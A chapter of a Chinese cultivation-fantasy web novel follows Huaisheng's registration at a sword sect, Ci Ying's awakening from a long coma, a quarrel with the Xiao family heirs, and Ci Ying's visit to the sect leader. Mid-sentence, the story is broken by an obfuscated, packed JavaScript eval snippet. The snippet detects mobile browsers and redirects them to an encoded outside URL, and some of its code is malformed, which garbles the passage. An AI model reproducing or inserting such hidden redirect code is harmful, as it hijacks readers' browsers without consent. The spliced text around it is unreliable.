正趴在辞婴肩膀的白狐狸懒洋洋抬起头,与辞婴传音道:“啧啧啧,这么个小破地,居然出了一个天生灵体,一个佛心道骨,这个就更有趣了——” 它眯起眼打量萧若水,“居然有一缕神族的气息!喂,黎辞婴,你确定你没找错人?你要找的人不是神族便是仙人,怎么看都不大可能是那颗豆芽菜!” 16.赴苍琅 白狐狸嘴里说的豆芽菜正是怀生。 他早就觉得奇怪了,这豆芽菜看起来平平无奇,黎辞婴怎么老围着她转,为了护她,甚至连命都不要。 辞婴没搭理它,心念一转便将白狐狸强行收回灵台。 萧若水身上的确有一缕他十分熟悉的气息,是不是神族的气息辞婴不知晓,但他知道那缕气息是他心心念念要找的那人才会有的。而他不可能会找错人,也就是说—— 萧若水有本该属于南怀生的东西。 辞婴眸色泛凉,斟酌片刻后,又将目光慢悠悠转回怀生那,连招呼都没同叶和光打一个,径直越过他走向怀生,皱起眉道: “你这张脸怎么回事?” 怀生: “……?” 这熟悉的语气还有这熟悉的神情,叫怀生顷刻回到了只有九颗乳牙的过去。他这是……认出她了? 她摸了摸脸颊,那里有几处细小的刮痕,乃是在怀远城与灰衣管事打斗时挂的彩。 她如今的面色再不是从前那令人瘆得慌的死人白。只不过体内阴气尚存,面色比寻常人缺了点血色,那几条细细的伤痕落在脸上,便显得格外打眼。 怀生不着痕迹地掠过一人,说道: “前几日没注意,被刀气蹭了几下。” 辞婴“啊”了一声,没半点要给她留面子的意思: “你怎么还是那么笨?” 怀生: “……” 少年埋汰完就要抬步朝独鹿堂内堂走,见怀生站在原地没动,将将放下的一双长眉再度拧了起来。 “不是要进去内堂登记么?” 想到什么,薄白眼皮忽又一掀,看向叶和光与萧若水, “怎么?怕他们有意见?怕甚?不就是仗着南家打不过萧家,如今又有涯剑山真君撑腰,所以才来欺负你么?非要挑你爹娘没陪在身边又还未拜得师尊替你撑腰之时来阻你入宗门,还挺会挑时候。” 手指轻点腰间长剑,辞婴冷笑道: “不管你们有何意见,都先过了我这把剑再说!我万仞峰,也有一位真君!” 话音落,万仞剑从天而降, “嚓”一声嵌入独鹿堂大门外的石地,剑身上的“万仞”二字在灰沉沉的天色里熠熠生辉。 万仞峰剑主云杪真君虽神龙不见尾了数百年,但作为苍琅第一剑修,她那把万仞剑谁人不识? 昔年她一剑斩杀三只十五境煞兽的余威犹在,便是元剑宗那几位真君也不敢与她硬碰硬。 万仞剑现身时,莫说萧若水了,便是叶和光都稍稍变了脸色。 这小子是何意? 莫不是要将南怀生收入万仞峰做内门弟子? 辞婴这么一通胡搅蛮缠后,独鹿堂内外一时间静得可怕。 就在这阵诡异的安静中,怀生忽然道: “我不怕他们有意见,他们再有意见也阻不了我入宗门。那个——” 怀生看向始终护在她身侧的周丕: “周真人,可否换个人领我入内堂?” 她是周丕接引来的,方才也是周丕要领她入的内堂,竭尽全力护她。眼下要换个人,那不得同他说一声吗? 众人的目光于是落在了周丕的身上。 周丕: “……”你这孩子还怪有礼貌的咧。 他颔首一笑: “那就有劳辞婴师兄了。” 眼见着怀生二人步入内堂,朱丛最沉不住气,提起剑就要发作,一旁的萧若水却先他一步开了口。 “涯剑山既然非要庇护弑杀同门之人,这样的宗门,我萧家人不入也罢。” 她深深望了怀生一眼,转身离去。朱丛愤恨地看了看怀生,又看了看辞婴,很快也转过身,跟上萧若水。 张雨倒是没急着离开,而是长声一叹,同叶和光道: “和光真君,我家小姐本一心要做您的弟子,可今日涯剑山的做派实在令人失望!小姐年幼失怙,这些年来就没放弃过为少族长讨回公道。涯剑山既执意要袒护……罢了,我要说出那名字,恐又要成那什么‘污光明磊落者昏昧密暗’之人了。我打不过云杪真君,还是莫说了罢。” 言罢,她冲叶和光行了一礼,迤迤然离去。 叶和光目光复杂,望着插在地上的万仞剑看了几息,再不多言,身影一晃,消失在独鹿堂。 萧家小辈与南家小辈的第一场冲突就此落幕,众人伸长的脖颈又缩了回去,继续挤挤攘攘地朝剑意路去。 等到松沐从掌门洞府下来的时候,独鹿堂外院已变得空空荡荡,只有初宿一人在。 见初宿一脸不虞,他上前一步,温和道: “怎么不高兴了?怀生呢?” “怀生进去寻陆长老了。”初宿不想提萧家那几个扫兴的,答得轻描淡写, “你见着掌门师伯了?他如何说?” 松沐道: “师尊给云杪师伯去了一封剑书。” 初宿微讶: “云杪师伯?” 松沐: “嗯,听师尊的意思,所有与怀生和南叔有关的事,都由云杪师伯定夺。” 初宿皱起眉。 云杪真君的名号在涯剑山可谓是如雷贯耳,但她与松沐从不曾见过她。她师尊木槿真君提起云杪师伯时,也总是一副讳莫如深的态度。 当年小姨与小姨父陨落后,师尊再三叮嘱不许将他们的死讯透露出去。 失踪两百余年的云杪师伯莫不是一直在查那些斗篷人?那日偷袭怀生的灰衣管事难道是斗篷人派来的? 想到那些斗篷人,初宿面色一冷: “掌门师伯还说了什么?” 她生得貌美异常,眼瞳比寻常人都要黑沉些,冷下脸色时那双眼睛便显得寒意森森。 松沐的声音愈发温和,像是在安抚一只炸毛的猫: “师尊让我们莫要插手此事,还让我见到黎师兄后,请他去一趟掌门洞府。” 说到这,他看着还兢兢业业插在石阶下的万仞剑,又道: “黎师兄和怀生一同进内堂了?” 松沐道佛双修,心绪修炼得一年比一年淡。但对这位师兄,他却是好奇的。这位虽说昏迷了十数年,在涯剑山的存在感却一点不比他和初宿低。 剑堂的虞师叔最爱骂的一句话便是—— “一点苦都吃不得,难怪你们的修为连个昏迷的人都比不上!” 经虞师叔多年荼毒,他们这一期的弟子就没有谁不知道黎辞婴的,连地位超然的初宿与松沐都没少听到他的名字。 初宿点了点头: “他与怀生,都在陆长老那。” 方才她全副心神都在警惕萧家人,此时回过神来,不由生出些困惑。 “我与怀生一个时辰前还在万仞峰呢,那时他本还昏迷着的,怎会突然醒来了?” - 关于辞婴忽然醒来这事,怀生也很好奇。 她攒了一肚子的问题,想问他灵台的伤势如何了,要不要先去找应御师伯查查身体再来找她叙旧,看没看到她给他准备的小玩意儿,还有—— 怨不怨她。 但辞婴与她进来独鹿堂后便沉默了一路,怀生对着他这张清醒过来的脸,一时间又说不出话,只好跟着沉默了一路。 两人并肩而行,怀生后知后觉地感叹:这家伙长得也太高了,少说也有九尺。她的身高在女修里算高的了,结果只能挨到他肩膀。 由此可见,睡觉对身高有多重要。 就在这不着四六的胡思乱想中,怀生来到了内堂。 掌管独鹿堂的长老陆平庸一贯喜静,内堂里只得他一人在,连个执事弟子都没有。 这位长老虽修为停留在丹境大圆满,其辈分却不低,连应御真人见着了都得叫一声“师叔”。 先前发生在外头的事,陆平庸看得清清楚楚。怀生一进去,他便拿出块玉简,指尖白光一闪,玉简便刻上了怀生的名字。 “这是你的预备弟子铭牌。待你拜入山门后,会自动转为正式的弟子铭牌。” 他将玉简递给怀生,接着便风马牛不相及地问了句: “你想去挑战断剑崖?” 怀生接过玉简,恭敬道: “是,多谢陆长老适才为晚辈解围。” 选择去断剑崖,那便是放弃南新酒与许清如为她争取而来的名额了。荫蔽而来的弟子只能入外门,但若她能顺利攀上断剑崖,那便有机会入内门。 陆平庸没说话,只淡淡颔首,旋即看向辞婴: “你应御师兄可知你醒来了?” 辞婴醒来后,什么都来不及想,也什么都来不及做,只顾着来独鹿堂寻人。这会儿终于想起了应御真人这位奶爹。 他摇头: “不知,还未来得及给他发剑书。” 陆平庸没再多说什么,拿出一卷画轴,缓缓打开,露出画中一片茂密的竹林以及竹林里错落有致的屋子。这些屋子大部分都亮着白点,唯有少数亮着红点。 “预备弟子在择剑礼之前需与外门弟子一同住在无双峰的修竹林,亮白点的弟子舍已有人住,余下亮红点的弟子舍,你可随意挑选。” 怀生凝神望着那画轴,正要选一间屋舍,一边的辞婴忽然出声: “你可来万仞峰。” 万仞峰有剑冢和洗剑泉在,是涯剑山灵气最郁馥的剑峰。云杪真君只收了辞婴一人,峰顶里留给亲传弟子的洞府全都空置着。 怀生没承辞婴的好意,摇一摇头便往画轴中一间屋舍点了下。 “我选这里。” 陆平庸收起画轴,公事公办道: “凭借预备弟子铭牌可去剑意路,剑意路只开三日。至于断剑崖,无需铭牌也可在四日后去挑战。可有问题要问?” 怀生摇头。 陆平庸淡淡“唔”了声: “若你挑战断剑崖失败,可来找我入外门。你爹娘既为你挣来了荫蔽的资格,便无人可阻你入涯剑山。” 不等怀生回话,他挥一挥手,开始赶人: “都出去罢。” 出了内堂,怀生为免又要一路沉默到底,想了想,还是提起个话茬: “你是何时醒来的?怎会知我在独鹿堂?” “你在洞府里不是同我说了你要入山门吗?”辞婴淡淡道, “我便是在你离开洞府后醒来的。” 怀生一怔。 所以……他是刚醒便赶来独鹿堂么? 难怪连头发都还未束…… 辞婴停下步伐,唤了一声: “南怀生。” 怀生抬起眼: “嗯?” 少年低沉着声,道: “你是不是觉得我是个怕麻烦的人?” 他是在说她不愿住万仞峰的事儿。 他这人天不怕地不怕的,麻烦怕他还多过他怕麻烦。但怀生不去万仞峰,的确是不想给他添麻烦。同样的,她也不会去墨阳峰和棠溪峰。 她笑了笑,轻描淡写道: “我一个预备弟子,住亲传弟子才能住的洞府,对旁的人不公平。” 辞婴侧眸看她。 这世间若人人都讲究公平,方才便不会有人仗势阻她入宗门了。不过……今日她爹娘为何不在她身边? 他苏醒后,整个人都处在一种今夕何夕的错乱感中。那个……梦叫他的记忆错乱迷离,醒来的那一瞬他甚至分不清自己是谁。直到这会,才慢慢找回了真实感,也慢慢咂摸出一丝不对劲儿。 南新酒与许清如爱女如命,今日怎可能会不来,由着旁人欺她? 辞婴长眸一沉,道: “南叔和许姨,怎么没陪你一同来?” 怀生微微愣住。 她爹娘陨落一事乃是秘密,知之者甚少。 怀生隐约猜到涯剑山秘而不宣的原因,也知道此时此地不适合与辞婴说旧事。 她想了想,用轻快的语气道: “他们来不了了。” 说着抬起脚继续往大门行去, “走罢,初宿还在外头等我。哦,你还记得初宿和松沐吗?他们两人现在可出息了,一个是墨阳峰剑主的亲传,一个是何掌门的关门弟子,涯剑山数万年来天赋最好的弟子就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14608361|155333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他们了。” 辞婴见怀生岔开了话题,没再追问,只轻轻拧起眉心,漫不经心地听她说。 在出云居时,他对初宿与松沐并不如何关注。对他们最大的印象,便是白狐狸方才说的,一个是天生灵体,还有一个是佛心道骨。 天生灵体他方才在独鹿堂外已经见着了,佛心道骨也没让他等太久。 甫一出内堂,辞婴便见一位身量颀长的温润少年朝他行来,笑道: “恭喜黎师兄醒来,师尊正在洞府里等你,有劳师兄与我走一趟。” 少年生了张极俊秀的脸,眉如墨染、目若点漆,一身春阳照水般的气度,望之便令人心生好感。 辞婴目光在松沐那美如冠玉的脸上停了下,像是终于想起了他那一头来不及打理的长发,随手折下一根松木枝,将半数头发往上一拨便束了个规规整整的道髻。 他的头发怎么那么听话…… 怀生想起她那松松垮垮的辫子,莫名有些羡慕。要是应姗师伯在这,估计又要生会闷气了。一个睡了十三年的少年,头发都扎得都比她利索…… 辞婴三两下功夫便理好头发, “我自己去见掌门师叔。” 他淡声说着,目光看向怀生,道: “你先去剑意路,我晚些时候再来寻你。” 话落,在外头当了两炷香门神的万仞剑飞到他脚下,载着主人开开心心地往掌门洞府飞去。 他人一走,初宿便看了眼天色,道: “走罢,我和木头陪你一起去剑意路。” “我自己去罢。”怀生摸了下脸上的伤口,道, “我需要你们帮我盯着一个人,从剑意路出来后,我得先去会会他。” - 棠溪峰,掌门洞府。 何不归给自己泡了壶云阳灵茶,还十分阔绰地叫弟子王隽上了两碟步光峰的极品灵果。 作为棠溪峰的门面弟子,王隽还是头一回见自家师尊如此大方,不由问道: “师尊,今日可是发生了什么好事?” 何不归道: “算是好事吧,你辞婴师弟醒来了。” 王隽恍然,啊,原来是那位“睡着了修为也在涨”的师弟醒了。 当年辞婴选奶爹,王隽也是候选人之一。他在涯剑山是出了名的人缘好,脾气好模样俊说话还好听,有时应御师兄没空带孩子,便会将辞婴丢给他。 是以王隽对这位师弟一点儿也不陌生。 于是更不明白师弟醒来,师尊为何会如此开心?还一改抠搜的作风,给师弟备了两碟极品灵果? 要知道他们掌门一脉没少受伤昏迷,醒来后可不曾从师尊这里讨得过极品灵果,顶多就只有一颗丹药。 王隽多少有些埋怨自家师尊的偏心,可转念想到辞婴师弟受了十来年苦,又觉六枚极品灵果好像也不算多。 受了十来年苦的辞婴就是在这时进来的,王隽出去时拍了拍他肩膀,压低声音道: “醒来就好,桌上那六枚极品灵果记得全吃了。师尊难得豪爽一回,过了这村,就没这店了!” “……” 辞婴对这位表面清风朗月实则神神叨叨的师兄有一点印象,淡淡“嗯”了声。正要继续往里走,却见王隽放他肩膀的手还牢牢搁在那。 他侧眸,听见王隽语气微妙道: “不是啊师弟,你睡了十来年,怎么就越睡越俊了?” 王隽不是没受过伤,也不是没昏睡过。可他每次醒来都是一副被合欢宗仙子狠狠采补过的虚脱样,莫说越来越帅,能维持个人样便算不错了。 辞婴一时无言。 差点忘了,这位师兄不仅神叨,还格外爱美,比花孔雀还花孔雀。 正在斟茶的何不归笑眯眯接过了话: “不错,你小子越来越有我当年的风采了。”说完一捋稀疏的胡须。 何掌门这十三年来发须又掉了不少,本就精瘦的身躯越发消瘦,像一竿修为高深的瘦青竹,与“俊”这个字真没半颗灵石关系。 王隽没法昧着良心附和他师尊的话,只好一溜烟遁了,走之前还不忘同辞婴道: “师弟,我过两日找你取经。你知道的,作为涯剑山的门面,我这张脸很重要。” 辞婴: “……”他不需要知道。 何不归用欣赏的目光望了辞婴几眼,道: “过来喝茶,我亲手种的云阳灵茶,一颗上品灵石才能换得一两。今日你醒来,这灵茶随便你喝。还有你郭师兄给你送来六颗他辛苦种出的碧灵果,这碧灵果比丹药更温和,能温养灵台,对你的伤势有好处。” 涯剑山这几位真君皆受过云杪真君的恩惠,对他这位云杪真君唯一的弟子自也十分照拂。 辞婴道了声“谢”,低头喝了口“一颗上品灵石方能换得一两”的灵茶,随即面色一变,默默放下了茶盏,强行将嘴里的茶水咽下去。 何不归道: “十年前,你灵台的伤势本已经稳住,按说当时便该醒来。你眼下感觉如何?” 辞婴的感觉并不好。 不是因为那口发苦的茶,而是因着他灵台。 他灵台的伤势瞧着是稳住了,实际上却是雪上加霜。针刺般的头疼如附骨之疽阴魂不散,辞婴此时的灵台便是一阵阵发疼。 方才醒来时,白狐狸嚎着说他十三年没睡过好觉,非要回他灵台。进去后却发觉他灵台大变了样,不仅碎得更彻底,还莫名添了些煞气。 不得已掏出一颗珍藏的魂珠炼化他灵台里的煞气。 辞婴没准备让何不归知晓他灵台的异变,思忖半晌,道: “尚可,除了虚弱些,并无旁的不适。” 至于因何久久不醒…… 辞婴垂下眼,想起了他昏迷时做的梦。 昏迷十三年,辞婴并未无知无觉,偶尔也会感应到外界。之所以醒不来,是因为他被困在梦里。 从前辞婴也时常做梦,还是同一个场景的梦。 但这一次的梦,再不是那两轮温暖的旭日。